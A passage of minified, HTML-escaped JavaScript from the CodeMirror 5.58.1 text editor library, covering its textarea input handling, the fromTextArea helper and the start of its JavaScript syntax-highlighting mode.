input.composing={start:start,range:cm.markText(start,cm.getCursor(&quot;to&quot;),{className:&quot;CodeMirror-composing&quot;})}});on(te,&quot;compositionend&quot;,function(){if(input.composing){input.poll();input.composing.range.clear();input.composing=null}})};TextareaInput.prototype.createField=function(_display){this.wrapper=hiddenTextarea();this.textarea=this.wrapper.firstChild};TextareaInput.prototype.screenReaderLabelChanged=function(label){if(label){this.textarea.setAttribute(&#039;aria-label&#039;,label)}else{this.textarea.removeAttribute(&#039;aria-label&#039;)}};TextareaInput.prototype.prepareSelection=function(){var cm=this.cm,display=cm.display,doc=cm.doc;var result=prepareSelection(cm);if(cm.options.moveInputWithCursor){var headPos=cursorCoords(cm,doc.sel.primary().head,&quot;div&quot;);var wrapOff=display.wrapper.getBoundingClientRect(),lineOff=display.lineDiv.getBoundingClientRect();result.teTop=Math.max(0,Math.min(display.wrapper.clientHeight-10,headPos.top+lineOff.top-wrapOff.top));result.teLeft=Math.max(0,Math.min(display.wrapper.clientWidth-10,headPos.left+lineOff.left-wrapOff.left))}
return result};TextareaInput.prototype.showSelection=function(drawn){var cm=this.cm,display=cm.display;removeChildrenAndAdd(display.cursorDiv,drawn.cursors);removeChildrenAndAdd(display.selectionDiv,drawn.selection);if(drawn.teTop!=null){this.wrapper.style.top=drawn.teTop+&quot;px&quot;;this.wrapper.style.left=drawn.teLeft+&quot;px&quot;}};TextareaInput.prototype.reset=function(typing){if(this.contextMenuPending||this.composing){return}
var cm=this.cm;if(cm.somethingSelected()){this.prevInput=&quot;&quot;;var content=cm.getSelection();this.textarea.value=content;if(cm.state.focused){selectInput(this.textarea)}
if(ie&amp;&amp;ie_version&gt;=9){this.hasSelection=content}}else if(!typing){this.prevInput=this.textarea.value=&quot;&quot;;if(ie&amp;&amp;ie_version&gt;=9){this.hasSelection=null}}};TextareaInput.prototype.getField=function(){return this.textarea};TextareaInput.prototype.supportsTouch=function(){return!1};TextareaInput.prototype.focus=function(){if(this.cm.options.readOnly!=&quot;nocursor&quot;&amp;&amp;(!mobile||activeElt()!=this.textarea)){try{this.textarea.focus()}catch(e){}}};TextareaInput.prototype.blur=function(){this.textarea.blur()};TextareaInput.prototype.resetPosition=function(){this.wrapper.style.top=this.wrapper.style.left=0};TextareaInput.prototype.receivedFocus=function(){this.slowPoll()};TextareaInput.prototype.slowPoll=function(){var this$1=this;if(this.pollingFast){return}
this.polling.set(this.cm.options.pollInterval,function(){this$1.poll();if(this$1.cm.state.focused){this$1.slowPoll()}})};TextareaInput.prototype.fastPoll=function(){var missed=!1,input=this;input.pollingFast=!0;function p(){var changed=input.poll();if(!changed&amp;&amp;!missed){missed=!0;input.polling.set(60,p)}else{input.pollingFast=!1;input.slowPoll()}}
input.polling.set(20,p)};TextareaInput.prototype.poll=function(){var this$1=this;var cm=this.cm,input=this.textarea,prevInput=this.prevInput;if(this.contextMenuPending||!cm.state.focused||(hasSelection(input)&amp;&amp;!prevInput&amp;&amp;!this.composing)||cm.isReadOnly()||cm.options.disableInput||cm.state.keySeq){return!1}
var text=input.value;if(text==prevInput&amp;&amp;!cm.somethingSelected()){return!1}
if(ie&amp;&amp;ie_version&gt;=9&amp;&amp;this.hasSelection===text||mac&amp;&amp;/[\uf700-\uf7ff]/.test(text)){cm.display.input.reset();return!1}
if(cm.doc.sel==cm.display.selForContextMenu){var first=text.charCodeAt(0);if(first==0x200b&amp;&amp;!prevInput){prevInput=&quot;\u200b&quot;}
if(first==0x21da){this.reset();return this.cm.execCommand(&quot;undo&quot;)}}
var same=0,l=Math.min(prevInput.length,text.length);while(same&lt;l&amp;&amp;prevInput.charCodeAt(same)==text.charCodeAt(same)){++same}
runInOp(cm,function(){applyTextInput(cm,text.slice(same),prevInput.length-same,null,this$1.composing?&quot;*compose&quot;:null);if(text.length&gt;1000||text.indexOf(&quot;\n&quot;)&gt;-1){input.value=this$1.prevInput=&quot;&quot;}else{this$1.prevInput=text}
if(this$1.composing){this$1.composing.range.clear();this$1.composing.range=cm.markText(this$1.composing.start,cm.getCursor(&quot;to&quot;),{className:&quot;CodeMirror-composing&quot;})}});return!0};TextareaInput.prototype.ensurePolled=function(){if(this.pollingFast&amp;&amp;this.poll()){this.pollingFast=!1}};TextareaInput.prototype.onKeyPress=function(){if(ie&amp;&amp;ie_version&gt;=9){this.hasSelection=null}
this.fastPoll()};TextareaInput.prototype.onContextMenu=function(e){var input=this,cm=input.cm,display=cm.display,te=input.textarea;if(input.contextMenuPending){input.contextMenuPending()}
var pos=posFromMouse(cm,e),scrollPos=display.scroller.scrollTop;if(!pos||presto){return}
var reset=cm.options.resetSelectionOnContextMenu;if(reset&amp;&amp;cm.doc.sel.contains(pos)==-1){operation(cm,setSelection)(cm.doc,simpleSelection(pos),sel_dontScroll)}
var oldCSS=te.style.cssText,oldWrapperCSS=input.wrapper.style.cssText;var wrapperBox=input.wrapper.offsetParent.getBoundingClientRect();input.wrapper.style.cssText=&quot;position: static&quot;;te.style.cssText=&quot;position: absolute; width: 30px; height: 30px;\n      top: &quot;+(e.clientY-wrapperBox.top-5)+&quot;px; left: &quot;+(e.clientX-wrapperBox.left-5)+&quot;px;\n      z-index: 1000; background: &quot;+(ie?&quot;rgba(255, 255, 255, .05)&quot;:&quot;transparent&quot;)+&quot;;\n      outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);&quot;;var oldScrollY;if(webkit){oldScrollY=window.scrollY}
display.input.focus();if(webkit){window.scrollTo(null,oldScrollY)}
display.input.reset();if(!cm.somethingSelected()){te.value=input.prevInput=&quot; &quot;}
input.contextMenuPending=rehide;display.selForContextMenu=cm.doc.sel;clearTimeout(display.detectingSelectAll);function prepareSelectAllHack(){if(te.selectionStart!=null){var selected=cm.somethingSelected();var extval=&quot;\u200b&quot;+(selected?te.value:&quot;&quot;);te.value=&quot;\u21da&quot;;te.value=extval;input.prevInput=selected?&quot;&quot;:&quot;\u200b&quot;;te.selectionStart=1;te.selectionEnd=extval.length;display.selForContextMenu=cm.doc.sel}}
function rehide(){if(input.contextMenuPending!=rehide){return}
input.contextMenuPending=!1;input.wrapper.style.cssText=oldWrapperCSS;te.style.cssText=oldCSS;if(ie&amp;&amp;ie_version&lt;9){display.scrollbars.setScrollTop(display.scroller.scrollTop=scrollPos)}
if(te.selectionStart!=null){if(!ie||(ie&amp;&amp;ie_version&lt;9)){prepareSelectAllHack()}
var i=0,poll=function(){if(display.selForContextMenu==cm.doc.sel&amp;&amp;te.selectionStart==0&amp;&amp;te.selectionEnd&gt;0&amp;&amp;input.prevInput==&quot;\u200b&quot;){operation(cm,selectAll)(cm)}else if(i++&lt;10){display.detectingSelectAll=setTimeout(poll,500)}else{display.selForContextMenu=null;display.input.reset()}};display.detectingSelectAll=setTimeout(poll,200)}}
if(ie&amp;&amp;ie_version&gt;=9){prepareSelectAllHack()}
if(captureRightClick){e_stop(e);var mouseup=function(){off(window,&quot;mouseup&quot;,mouseup);setTimeout(rehide,20)};on(window,&quot;mouseup&quot;,mouseup)}else{setTimeout(rehide,50)}};TextareaInput.prototype.readOnlyChanged=function(val){if(!val){this.reset()}
this.textarea.disabled=val==&quot;nocursor&quot;;this.textarea.readOnly=!!val};TextareaInput.prototype.setUneditable=function(){};TextareaInput.prototype.needsContentAttribute=!1;function fromTextArea(textarea,options){options=options?copyObj(options):{};options.value=textarea.value;if(!options.tabindex&amp;&amp;textarea.tabIndex){options.tabindex=textarea.tabIndex}
if(!options.placeholder&amp;&amp;textarea.placeholder){options.placeholder=textarea.placeholder}
if(options.autofocus==null){var hasFocus=activeElt();options.autofocus=hasFocus==textarea||textarea.getAttribute(&quot;autofocus&quot;)!=null&amp;&amp;hasFocus==document.body}
function save(){textarea.value=cm.getValue()}
var realSubmit;if(textarea.form){on(textarea.form,&quot;submit&quot;,save);if(!options.leaveSubmitMethodAlone){var form=textarea.form;realSubmit=form.submit;try{var wrappedSubmit=form.submit=function(){save();form.submit=realSubmit;form.submit();form.submit=wrappedSubmit}}catch(e){}}}
options.finishInit=function(cm){cm.save=save;cm.getTextArea=function(){return textarea};cm.toTextArea=function(){cm.toTextArea=isNaN;save();textarea.parentNode.removeChild(cm.getWrapperElement());textarea.style.display=&quot;&quot;;if(textarea.form){off(textarea.form,&quot;submit&quot;,save);if(!options.leaveSubmitMethodAlone&amp;&amp;typeof textarea.form.submit==&quot;function&quot;){textarea.form.submit=realSubmit}}}};textarea.style.display=&quot;none&quot;;var cm=CodeMirror(function(node){return textarea.parentNode.insertBefore(node,textarea.nextSibling)},options);return cm}
function addLegacyProps(CodeMirror){CodeMirror.off=off;CodeMirror.on=on;CodeMirror.wheelEventPixels=wheelEventPixels;CodeMirror.Doc=Doc;CodeMirror.splitLines=splitLinesAuto;CodeMirror.countColumn=countColumn;CodeMirror.findColumn=findColumn;CodeMirror.isWordChar=isWordCharBasic;CodeMirror.Pass=Pass;CodeMirror.signal=signal;CodeMirror.Line=Line;CodeMirror.changeEnd=changeEnd;CodeMirror.scrollbarModel=scrollbarModel;CodeMirror.Pos=Pos;CodeMirror.cmpPos=cmp;CodeMirror.modes=modes;CodeMirror.mimeModes=mimeModes;CodeMirror.resolveMode=resolveMode;CodeMirror.getMode=getMode;CodeMirror.modeExtensions=modeExtensions;CodeMirror.extendMode=extendMode;CodeMirror.copyState=copyState;CodeMirror.startState=startState;CodeMirror.innerMode=innerMode;CodeMirror.commands=commands;CodeMirror.keyMap=keyMap;CodeMirror.keyName=keyName;CodeMirror.isModifierKey=isModifierKey;CodeMirror.lookupKey=lookupKey;CodeMirror.normalizeKeyMap=normalizeKeyMap;CodeMirror.StringStream=StringStream;CodeMirror.SharedTextMarker=SharedTextMarker;CodeMirror.TextMarker=TextMarker;CodeMirror.LineWidget=LineWidget;CodeMirror.e_preventDefault=e_preventDefault;CodeMirror.e_stopPropagation=e_stopPropagation;CodeMirror.e_stop=e_stop;CodeMirror.addClass=addClass;CodeMirror.contains=contains;CodeMirror.rmClass=rmClass;CodeMirror.keyNames=keyNames}
defineOptions(CodeMirror);addEditorMethods(CodeMirror);var dontDelegate=&quot;iter insert remove copy getEditor constructor&quot;.split(&quot; &quot;);for(var prop in Doc.prototype){if(Doc.prototype.hasOwnProperty(prop)&amp;&amp;indexOf(dontDelegate,prop)&lt;0){CodeMirror.prototype[prop]=(function(method){return function(){return method.apply(this.doc,arguments)}})(Doc.prototype[prop])}}
eventMixin(Doc);CodeMirror.inputStyles={&quot;textarea&quot;:TextareaInput,&quot;contenteditable&quot;:ContentEditableInput};CodeMirror.defineMode=function(name){if(!CodeMirror.defaults.mode&amp;&amp;name!=&quot;null&quot;){CodeMirror.defaults.mode=name}
defineMode.apply(this,arguments)};CodeMirror.defineMIME=defineMIME;CodeMirror.defineMode(&quot;null&quot;,function(){return({token:function(stream){return stream.skipToEnd()}})});CodeMirror.defineMIME(&quot;text/plain&quot;,&quot;null&quot;);CodeMirror.defineExtension=function(name,func){CodeMirror.prototype[name]=func};CodeMirror.defineDocExtension=function(name,func){Doc.prototype[name]=func};CodeMirror.fromTextArea=fromTextArea;addLegacyProps(CodeMirror);CodeMirror.version=&quot;5.58.1&quot;;return CodeMirror})));(function(mod){if(typeof exports==&quot;object&quot;&amp;&amp;typeof module==&quot;object&quot;)
mod(require(&quot;../../lib/codemirror&quot;));else if(typeof define==&quot;function&quot;&amp;&amp;define.amd)
define([&quot;../../lib/codemirror&quot;],mod);else mod(CodeMirror)})(function(CodeMirror){&quot;use strict&quot;;CodeMirror.defineMode(&quot;javascript&quot;,function(config,parserConfig){var indentUnit=config.indentUnit;var statementIndent=parserConfig.statementIndent;var jsonldMode=parserConfig.jsonld;var jsonMode=parserConfig.json||jsonldMode;var isTS=parserConfig.typescript;var wordRE=parserConfig.wordCharacters||/[\w$\xa1-\uffff]/;var keywords=function(){function kw(type){return{type:type,style:&quot;keyword&quot;}}
var A=kw(&quot;keyword a&quot;),B=kw(&quot;keyword b&quot;),C=kw(&quot;keyword c&quot;),D=kw(&quot;keyword d&quot;);var operator=kw(&quot;operator&quot;),atom={type:&quot;atom&quot;,style:&quot;atom&quot;};return{&quot;if&quot;:kw(&quot;if&quot;),&quot;while&quot;:A,&quot;with&quot;:A,&quot;else&quot;:B,&quot;do&quot;:B,&quot;try&quot;:B,&quot;finally&quot;:B,&quot;return&quot;:D,&quot;break&quot;:D,&quot;continue&quot;:D,&quot;new&quot;:kw(&quot;new&quot;),&quot;delete&quot;:C,&quot;void&quot;:C,&quot;throw&quot;:C,&quot;debugger&quot;:kw(&quot;debugger&quot;),&quot;var&quot;:kw(&quot;var&quot;),&quot;const&quot;:kw(&quot;var&quot;),&quot;let&quot;:kw(&quot;var&quot;),&quot;function&quot;:kw(&quot;function&quot;),&quot;catch&quot;:kw(&quot;catch&quot;),&quot;for&quot;:kw(&quot;for&quot;),&quot;switch&quot;:kw(&quot;switch&quot;),&quot;case&quot;:kw(&quot;case&quot;),&quot;default&quot;:kw(&quot;default&quot;),&quot;in&quot;:operator,&quot;typeof&quot;:operator,&quot;instanceof&quot;:operator,&quot;true&quot;:atom,&quot;false&quot;:atom,&quot;null&quot;:atom,&quot;undefined&quot;:atom,&quot;NaN&quot;:atom,&quot;Infinity&quot;:atom,&quot;this&quot;:kw(&quot;this&quot;),&quot;class&quot;:kw(&quot;class&quot;),&quot;super&quot;:kw(&quot;atom&quot;),&quot;yield&quot;:C,&quot;export&quot;:kw(&quot;export&quot;),&quot;import&quot;:kw(&quot;import&quot;),&quot;extends&quot;:C,&quot;await&quot;:C}}();var isOperatorChar=/[+\-*&amp;%=&lt;&gt;!?|~^@]/;var isJsonldKeyword=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)&quot;/;function readRegexp(stream){var escaped=!1,next,inSet=!1;while((next=stream.next())!=null){if(!escaped){if(next==&quot;/&quot;&amp;&amp;!inSet)return;if(next==&quot;[&quot;)inSet=!0;else if(inSet&amp;&amp;next==&quot;]&quot;)inSet=!1}
escaped=!escaped&amp;&amp;next==&quot;\\&quot;}}
var type,content;function ret(tp,style,cont){type=tp;content=cont;return style}
function tokenBase(stream,state){var ch=stream.next();if(ch==&#039;&quot;&#039;||ch==&quot;&#039;&quot;){state.tokenize=tokenString(ch);return state.tokenize(stream,state)}else if(ch==&quot;.&quot;&amp;&amp;stream.match(/^\d[\d_]*(?:[eE][+\-]?[\d_]+)?/)){return ret(&quot;number&quot;,&quot;number&quot;)}else if(ch==&quot;.&quot;&amp;&amp;stream.match(&quot;..&quot;)){return ret(&quot;spread&quot;,&quot;meta&quot;)}else if(/[\[\]{}\(\),;\:\.]/.test(ch)){return ret(ch)}else if(ch==&quot;=&quot;&amp;&amp;stream.eat(&quot;&gt;&quot;)){return ret(&quot;=&gt;&quot;,&quot;operator&quot;)}else if(ch==&quot;0&quot;&amp;&amp;stream.match(/^(?:x[\dA-Fa-f_]+|o[0-7_]+|b[01_]+)n?/)){return ret(&quot;number&quot;,&quot;number&quot;)}else if(/\d/.test(ch)){stream.match(/^[\d_]*(?:n|(?:\.[\d_]*)?(?:[eE][+\-]?[\d_]+)?)?/);return ret(&quot;number&quot;,&quot;number&quot;)}else if(ch==&quot;/&quot;){if(stream.eat(&quot;*&quot;)){state.tokenize=tokenComment;return tokenComment(stream,state)}else if(stream.eat(&quot;/&quot;)){stream.skipToEnd();return ret(&quot;comment&quot;,&quot;comment&quot;)}else if(expressionAllowed(stream,state,1)){readRegexp(stream);stream.match(/^\b(([gimyus])(?![gimyus]*\2))+\b/);return ret(&quot;regexp&quot;,&quot;string-2&quot;)}else{stream.eat(&quot;=&quot;);return ret(&quot;operator&quot;,&quot;operator&quot;,stream.current())}}else if(ch==&quot;`&quot;){state.tokenize=tokenQuasi;return tokenQuasi(stream,state)}else if(ch==&quot;#&quot;&amp;&amp;stream.peek()==&quot;!&quot;){stream.skipToEnd();return ret(&quot;meta&quot;,&quot;meta&quot;)}else if(ch==&quot;#&quot;&amp;&amp;stream.eatWhile(wordRE)){return ret(&quot;variable&quot;,&quot;property&quot;)}else if(ch==&quot;&lt;&quot;&amp;&amp;stream.match(&quot;!--&quot;)||(ch==&quot;-&quot;&amp;&amp;stream.match(&quot;-&gt;&quot;)&amp;&amp;!/\S/.test(stream.string.slice(0,stream.start)))){stream.skipToEnd()
return ret(&quot;comment&quot;,&quot;comment&quot;)}else if(isOperatorChar.test(ch)){if(ch!=&quot;&gt;&quot;||!state.lexical||state.lexical.type!=&quot;&gt;&quot;){if(stream.eat(&quot;=&quot;)){if(ch==&quot;!&quot;||ch==&quot;=&quot;)stream.eat(&quot;=&quot;)}else if(/[&lt;&gt;*+\-|&amp;?]/.test(ch)){stream.eat(ch)
if(ch==&quot;&gt;&quot;)stream.eat(ch)}}
if(ch==&quot;?&quot;&amp;&amp;stream.eat(&quot;.&quot;))return ret(&quot;.&quot;)
return ret(&quot;operator&quot;,&quot;operator&quot;,stream.current())}else if(wordRE.test(ch)){stream.eatWhile(wordRE);var word=stream.current()
if(state.lastType!=&quot;.&quot;){if(keywords.propertyIsEnumerable(word)){var kw=keywords[word]
return ret(kw.type,kw.style,word)}
if(word==&quot;async&quot;&amp;&amp;stream.match(/^(\s|\/\*.*?\*\/)*[\[\(\w]/,!1))
return ret(&quot;async&quot;,&quot;keyword&quot;,word)}
return ret(&quot;variable&quot;,&quot;variable&quot;,word)}}
function tokenString(quote){return function(stream,state){var escaped=!1,next;if(jsonldMode&amp;&amp;stream.peek()==&quot;@&quot;&amp;&amp;stream.match(isJsonldKeyword)){state.tokenize=tokenBase;return ret(&quot;jsonld-keyword&quot;,&quot;meta&quot;)}
while((next=stream.next())!=null){if(next==quote&amp;&amp;!escaped)break;escaped=!escaped&amp;&amp;next==&quot;\\&quot;}
if(!escaped)state.tokenize=tokenBase;return ret(&quot;string&quot;,&quot;string&quot;)}}
function tokenComment(stream,state){var maybeEnd=!1,ch;while(ch=stream.next()){if(ch==&quot;/&quot;&amp;&amp;maybeEnd){state.tokenize=tokenBase;break}
maybeEnd=(ch==&quot;*&quot;)}
return ret(&quot;comment&quot;,&quot;comment&quot;)}
function tokenQuasi(stream,state){var escaped=!1,next;while((next=stream.next())!=null){if(!escaped&amp;&amp;(next==&quot;`&quot;||next==&quot;$&quot;&amp;&amp;stream.eat(&quot;{&quot;))){state.tokenize=tokenBase;break}
escaped=!escaped&amp;&amp;next==&quot;\\&quot;}
return ret(&quot;quasi&quot;,&quot;string-2&quot;,stream.current())}
var brackets=&quot;([{}])&quot;;function findFatArrow(stream,state){if(state.fatArrowAt)state.fatArrowAt=null;var arrow=stream.string.indexOf(&quot;=&gt;&quot;,stream.start);if(arrow&lt;0)return;if(isTS){var m=/:\s*(?:\w+(?:&lt;[^&gt;]*&gt;|\[\])?|\{[^}]*\})\s*$/.exec(stream.string.slice(stream.start,arrow))
if(m)arrow=m.index}
var depth=0,sawSomething=!1;for(var pos=arrow-1;pos&gt;=0;--pos){var ch=stream.string.charAt(pos);var bracket=brackets.indexOf(ch);if(bracket&gt;=0&amp;&amp;bracket&lt;3){if(!depth){++pos;break}
if(--depth==0){if(ch==&quot;(&quot;)sawSomething=!0;break}}else if(bracket&gt;=3&amp;&amp;bracket&lt;6){++depth}else if(wordRE.test(ch)){sawSomething=!0}else if(/[&quot;&#039;\/`]/.test(ch)){for(;;--pos){if(pos==0)return
var next=stream.string.charAt(pos-1)
if(next==ch&amp;&amp;stream.string.charAt(pos-2)!=&quot;\\&quot;){pos--;break}}}else if(sawSomething&amp;&amp;!depth){++pos;break}}
if(sawSomething&amp;&amp;!depth)state.fatArrowAt=pos}
var atomicTypes={&quot;atom&quot;:!0,&quot;number&quot;:!0,&quot;variable&quot;:!0,&quot;string&quot;:!0,&quot;regexp&quot;:!0,&quot;this&quot;:!0,&quot;jsonld-keyword&quot;:!0};function JSLexical(indented,column,type,align,prev,info){this.indented=indented;this.column=column;this.type=type;this.prev=prev;this.info=info;if(align!=null)this.align=align}
function inScope(state,varname){for(var v=state.localVars;v;v=v.next)
if(v.name==varname)return!0;for(var cx=state.context;cx;cx=cx.prev){for(var v=cx.vars;v;v=v.next)
if(v.name==varname)return!0}}
function parseJS(state,style,type,content,stream){var cc=state.cc;cx.state=state;cx.stream=stream;cx.marked=null,cx.cc=cc;cx.style=style;if(!state.lexical.hasOwnProperty(&quot;align&quot;))
state.lexical.align=!0;while(!0){var combinator=cc.length?cc.pop():jsonMode?expression:statement;if(combinator(type,content)){while(cc.length&amp;&amp;cc[cc.length-1].lex)
cc.pop()();if(cx.marked)return cx.marked;if(type==&quot;variable&quot;&amp;&amp;inScope(state,content))return&quot;variable-2&quot;;return style}}}
var cx={state:null,column:null,marked:null,cc:null};function pass(){for(var i=arguments.length-1;i&gt;=0;i--)cx.cc.push(arguments[i]);}
function cont(){pass.apply(null,arguments);return!0}
function inList(name,list){for(var v=list;v;v=v.next)if(v.name==name)return!0
return!1}
function register(varname){var state=cx.state;cx.marked=&quot;def&quot;;if(state.context){if(state.lexical.info==&quot;var&quot;&amp;&amp;state.context&amp;&amp;state.context.block){var newContext=registerVarScoped(varname,state.context)
if(newContext!=null){state.context=newContext
return}}else if(!inList(varname,state.localVars)){state.localVars=new Var(varname,state.localVars)
return}}
if(parserConfig.globalVars&amp;&amp;!inList(varname,state.globalVars))
state.globalVars=new Var(varname,state.globalVars)}
function registerVarScoped(varname,context){if(!context){return null}else if(context.block){var inner=registerVarScoped(varname,context.prev)
if(!inner)return null
if(inner==context.prev)return context
return new Context(inner,context.vars,!0)}else if(inList(varname,context.vars)){return context}else{return new Context(context.prev,new Var(varname,context.vars),!1)}}
function isModifier(name){return name==&quot;public&quot;||name==&quot;private&quot;||name==&quot;protected&quot;||name==&quot;abstract&quot;||name==&quot;readonly&quot;}
function Context(prev,vars,block){this.prev=prev;this.vars=vars;this.block=block}
function Var(name,next){this.name=name;this.next=next}
var defaultVars=new Var(&quot;this&quot;,new Var(&quot;arguments&quot;,null))
function pushcontext(){cx.state.context=new Context(cx.state.context,cx.state.localVars,!1)
cx.state.localVars=defaultVars}
function pushblockcontext(){cx.state.context=new Context(cx.state.context,cx.state.localVars,!0)
cx.state.localVars=null}
function popcontext(){cx.state.localVars=cx.state.context.vars
cx.state.context=cx.state.context.prev}
popcontext.lex=!0
function pushlex(type,info){var result=function(){var state=cx.state,indent=state.indented;if(state.lexical.type==&quot;stat&quot;)indent=state.lexical.indented;else for(var outer=state.lexical;outer&amp;&amp;outer.type==&quot;)&quot;&amp;&amp;outer.align;outer=outer.prev)
indent=outer.indented;state.lexical=new JSLexical(indent,cx.stream.column(),type,null,state.lexical,info)};result.lex=!0;return result}
function poplex(){var state=cx.state;if(state.lexical.prev){if(state.lexical.type==&quot;)&quot;)
state.indented=state.lexical.indented;state.lexical=state.lexical.prev}}
poplex.lex=!0;function expect(wanted){function exp(type){if(type==wanted)return cont();else if(wanted==&quot;;&quot;||type==&quot;}&quot;||type==&quot;)&quot;||type==&quot;]&quot;)return pass();else return cont(exp)};return exp}
function statement(type,value){if(type==&quot;var&quot;)return cont(pushlex(&quot;vardef&quot;,value),vardef,expect(&quot;;&quot;),poplex);if(type==&quot;keyword a&quot;)return cont(pushlex(&quot;form&quot;),parenExpr,statement,poplex);if(type==&quot;keyword b&quot;)return cont(pushlex(&quot;form&quot;),statement,poplex);if(type==&quot;keyword d&quot;)return cx.stream.match(/^\s*$/,!1)?cont():cont(pushlex(&quot;stat&quot;),maybeexpression,expect(&quot;;&quot;),poplex);if(type==&quot;debugger&quot;)return cont(expect(&quot;;&quot;));if(type==&quot;{&quot;)return cont(pushlex(&quot;}&quot;),pushblockcontext,block,poplex,popcontext);if(type==&quot;;&quot;)return cont();if(type==&quot;if&quot;){if(cx.state.lexical.info==&quot;else&quot;&amp;&amp;cx.state.cc[cx.state.cc.length-1]==poplex)
cx.state.cc.pop()();return cont(pushlex(&quot;form&quot;),parenExpr,statement,poplex,maybeelse)}
if(type==&quot;function&quot;)return cont(functiondef);if(type==&quot;for&quot;)return cont(pushlex(&quot;form&quot;),forspec,statement,poplex);if(type==&quot;class&quot;||(isTS&amp;&amp;value==&quot;interface&quot;)){cx.marked=&quot;keyword&quot;
return cont(pushlex(&quot;form&quot;,type==&quot;class&quot;?type:value),className,poplex)}
if(type==&quot;variable&quot;){if(isTS&amp;&amp;value==&quot;declare&quot;){cx.marked=&quot;keyword&quot;
return cont(statement)}else if(isTS&amp;&amp;(value==&quot;module&quot;||value==&quot;enum&quot;||value==&quot;type&quot;)&amp;&amp;cx.stream.match(/^\s*\w/,!1)){cx.marked=&quot;keyword&quot;
if(value==&quot;enum&quot;)return cont(enumdef);else if(value==&quot;type&quot;)return cont(typename,expect(&quot;operator&quot;),typeexpr,expect(&quot;;&quot;));else return cont(pushlex(&quot;form&quot;),pattern,expect(&quot;{&quot;),pushlex(&quot;}&quot;),block,poplex,poplex)}else if(isTS&amp;&amp;value==&quot;namespace&quot;){cx.marked=&quot;keyword&quot;
return cont(pushlex(&quot;form&quot;),expression,statement,poplex)}else if(isTS&amp;&amp;value==&quot;abstract&quot;){cx.marked=&quot;keyword&quot;
return cont(statement)}else{return cont(pushlex(&quot;stat&quot;),maybelabel)}}
if(type==&quot;switch&quot;)return cont(pushlex(&quot;form&quot;),parenExpr,expect(&quot;{&quot;),pushlex(&quot;}&quot;,&quot;switch&quot;),pushblockcontext,block,poplex,poplex,popcontext);if(type==&quot;case&quot;)return cont(expression,expect(&quot;:&quot;));if(type==&quot;default&quot;)return cont(expect(&quot;:&quot;));if(type==&quot;catch&quot;)return cont(pushlex(&quot;form&quot;),pushcontext,maybeCatchBinding,statement,poplex,popcontext);if(type==&quot;export&quot;)return cont(pushlex(&quot;stat&quot;),afterExport,poplex);if(type==&quot;import&quot;)return cont(pushlex(&quot;stat&quot;),afterImport,poplex);if(type==&quot;async&quot;)return cont(statement)
if(value==&quot;@&quot;)return cont(expression,statement)
return pass(pushlex(&quot;stat&quot;),expression,expect(&quot;;&quot;),poplex)}
function maybeCatchBinding(type){if(type==&quot;(&quot;)return cont(funarg,expect(&quot;)&quot;))}
function expression(type,value){return expressionInner(type,value,!1)}
function expressionNoComma(type,value){return expressionInner(type,value,!0)}
function parenExpr(type){if(type!=&quot;(&quot;)return pass()
return cont(pushlex(&quot;)&quot;),maybeexpression,expect(&quot;)&quot;),poplex)}
function expressionInner(type,value,noComma){if(cx.state.fatArrowAt==cx.stream.start){var body=noComma?arrowBodyNoComma:arrowBody;if(type==&quot;(&quot;)return cont(pushcontext,pushlex(&quot;)&quot;),commasep(funarg,&quot;)&quot;),poplex,expect(&quot;=&gt;&quot;),body,popcontext);else if(type==&quot;variable&quot;)return pass(pushcontext,pattern,expect(&quot;=&gt;&quot;),body,popcontext)}
var maybeop=noComma?maybeoperatorNoComma:maybeoperatorComma;if(atomicTypes.hasOwnProperty(type))return cont(maybeop);if(type==&quot;function&quot;)return cont(functiondef,maybeop);if(type==&quot;class&quot;||(isTS&amp;&amp;value==&quot;interface&quot;)){cx.marked=&quot;keyword&quot;;return cont(pushlex(&quot;form&quot;),classExpression,poplex)}
if(type==&quot;keyword c&quot;||type==&quot;async&quot;)return cont(noComma?expressionNoComma:expression);if(type==&quot;(&quot;)return cont(pushlex(&quot;)&quot;),maybeexpression,expect(&quot;)&quot;),poplex,maybeop);if(type==&quot;operator&quot;||type==&quot;spread&quot;)return cont(noComma?expressionNoComma:expression);if(type==&quot;[&quot;)return cont(pushlex(&quot;]&quot;),arrayLiteral,poplex,maybeop);if(type==&quot;{&quot;)return contCommasep(objprop,&quot;}&quot;,null,maybeop);if(type==&quot;quasi&quot;)return pass(quasi,maybeop);if(type==&quot;new&quot;)return cont(maybeTarget(noComma));if(type==&quot;import&quot;)return cont(expression);return cont()}
function maybeexpression(type){if(type.match(/[;\}\)\],]/))return pass();return pass(expression)}
function maybeoperatorComma(type,value){if(type==&quot;,&quot;)return cont(maybeexpression);return maybeoperatorNoComma(type,value,!1)}
function maybeoperatorNoComma(type,value,noComma){var me=noComma==!1?maybeoperatorComma:maybeoperatorNoComma;var expr=noComma==!1?expression:expressionNoComma;if(type==&quot;=&gt;&quot;)return cont(pushcontext,noComma?arrowBodyNoComma:arrowBody,popcontext);if(type==&quot;operator&quot;){if(/\+\+|--/.test(value)||isTS&amp;&amp;value==&quot;!&quot;)return cont(me);if(isTS&amp;&amp;value==&quot;&lt;&quot;&amp;&amp;cx.stream.match(/^([^&lt;&gt;]|&lt;[^&lt;&gt;]*&gt;)*&gt;\s*\(/,!1))
return cont(pushlex(&quot;&gt;&quot;),commasep(typeexpr,&quot;&gt;&quot;),poplex,me);if(value==&quot;?&quot;)return cont(expression,expect(&quot;:&quot;),expr);return cont(expr)}
if(type==&quot;quasi&quot;){return pass(quasi,me)}
if(type==&quot;;&quot;)return;if(type==&quot;(&quot;)return contCommasep(expressionNoComma,&quot;)&quot;,&quot;call&quot;,me);if(type==&quot;.&quot;)return cont(property,me);if(type==&quot;[&quot;)return cont(pushlex(&quot;]&quot;),maybeexpression,expect(&quot;]&quot;),poplex,me);if(isTS&amp;&amp;value==&quot;as&quot;){cx.marked=&quot;keyword&quot;;return cont(typeexpr,me)}
if(type==&quot;regexp&quot;){cx.state.lastType=cx.marked=&quot;operator&quot;
cx.stream.backUp(cx.stream.pos-cx.stream.start-1)
return cont(expr)}}
function quasi(type,value){if(type!=&quot;quasi&quot;)return pass();if(value.slice(value.length-2)!=&quot;${&quot;)return cont(quasi);return cont(expression,continueQuasi)}
function continueQuasi(type){if(type==&quot;}&quot;){cx.marked=&quot;string-2&quot;;cx.state.tokenize=tokenQuasi;return cont(quasi)}}
function arrowBody(type){findFatArrow(cx.stream,cx.state);return pass(type==&quot;{&quot;?statement:expression)}
